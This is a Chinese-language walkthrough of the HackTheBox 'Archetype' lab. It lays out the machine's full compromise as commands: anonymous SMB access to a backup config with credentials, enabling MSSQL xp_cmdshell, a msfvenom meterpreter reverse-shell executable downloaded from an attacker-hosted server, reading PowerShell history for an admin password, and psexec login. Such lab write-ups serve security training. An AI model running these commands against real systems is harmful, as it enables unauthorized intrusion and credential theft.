HackTheBox:Archetype 靶场的完整渗透流程

靶场信息

靶场信息

一、端口扫描

1
nmap -sS -T4 -sV -Pn 10.129.75.207

nmap扫描

445是smb(共享文件协议)端口,在未配置权限情况下可能允许匿名访问共享文件夹。

二、SMB 信息收集

尝试空密码进行SMB登陆

1. -L表示列出共享资源

2. -N表示不使用密码

1
smbclient -L -N //10.129.75.207/

SMB登陆

发现backups目录

SMB连接并列出目录内容,下载有用文件

1
2
3
smbclient //10.129.75.207/backups -N
smb: \> ls
smb: \> get prod.dtsConfig

下载文件

1
cat prod.dtsConfig

发现账号密码

prod.dtsConfig内容

三、MSSQL 利用

1.使用网络协议包impacket中的mssqlclient连接SQL server 服务器

1
impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.75.207

连接SQL server

同时检查数据库权限

⚠ 易错提示,点击查看注意这里的 `/` 不能写成 `\`, 正确:`ARCHETYPE/sql_svc@10.129.75.207` 错误:`ARCHETYPE\sql_svc@10.129.75.207`(会导致连接失败)

四、获取shell

1. 使用xp_cmdshell执行命令

💡 关于 xp_cmdshell`xp_cmdshell` 是 SQL Server 内置的扩展存储过程,允许直接在数据库中执行系统命令(调用 Windows 命令行解释器)。 它的常见用途包括: - 执行系统级脚本 - 下载文件 - 启动其他程序 如果数据库账号有高权限(如 `sysadmin`),攻击者可以利用 `xp_cmdshell` 在目标系统上执行任意命令,从而直接拿到系统权限。

我们需要修改配置

1
2
3
4
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

执行命令成功后检查

1
EXEC xp_cmdshell 'whoami';

执行whoami

2. 利用msf生成exe上传并执行

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.34 LPORT=4444 -f exe -o shell.exe

启动http服务,开启8000端口

1
python3 -m http.server 8000

生成exe,启动http

3. 通过mssql下载到可下载目录下

1
EXEC xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.16.34:8000/shell.exe -outfile shell.exe"

下载shell.exe

4. msf监听并执行shell.exe

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.34
set LPORT 4444
exploit
1
xp_cmdshell "C:\Users\sql_svc\Downloads\shell.exe"

执行shell.exe

五、获取系统权限system

1. 查看powershell历史命令

1
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

powershell历史命令

2. 利用psexec进行登陆连接

1
impacket-psexec administrator@10.129.75.207

psexec登陆

💡 关于 PsExec(点击展开)PsExec 是一种轻型 telnet-replacement,可用于在其他系统上执行进程,无需手动安装客户端软件即可完成控制台应用程序的完整交互性。 PsExec 最强大的用途包括在远程系统和远程启用工具(如 IpConfig)上启动交互式命令提示符。 psexec 的使用不需要对方主机开启 3389 端口,只需要对方开启 admin 共享或 c 盘共享(默认开启,依赖于 445 端口)。 但是,假如目标主机开启了防火墙(默认禁止 445 端口连接),psexec 也是不能使用的,会提示找不到网络路径。 由于 psexec 是 Windows 提供的工具,所以杀毒软件会将其添加到白名单中。

完成!

总结

本次 HTB Archetype 靶场主要学习了:

  • SMB 匿名访问与敏感文件泄露
  • MSSQL 连接与 xp_cmdshell 命令执行
  • 利用 MSF 生成木马并反弹 shell
  • Windows 提权思路(历史命令获取明文密码 + psexec)

此外在使用靶场环境时候,为了防止靶场文件不知道放在那里,最好在powershell开始之前先切换靶场目录。

在执行反弹shell的时候一定要小心lhost和lport不要写错。

在本次测试中,也遇到了一些没遇到过的问题,比如:

  • MSSQL 连接时的路径问题(/\ 的区别)
  • Powershell 历史命令的存储位置

以上是本次测试的总结,再接再厉!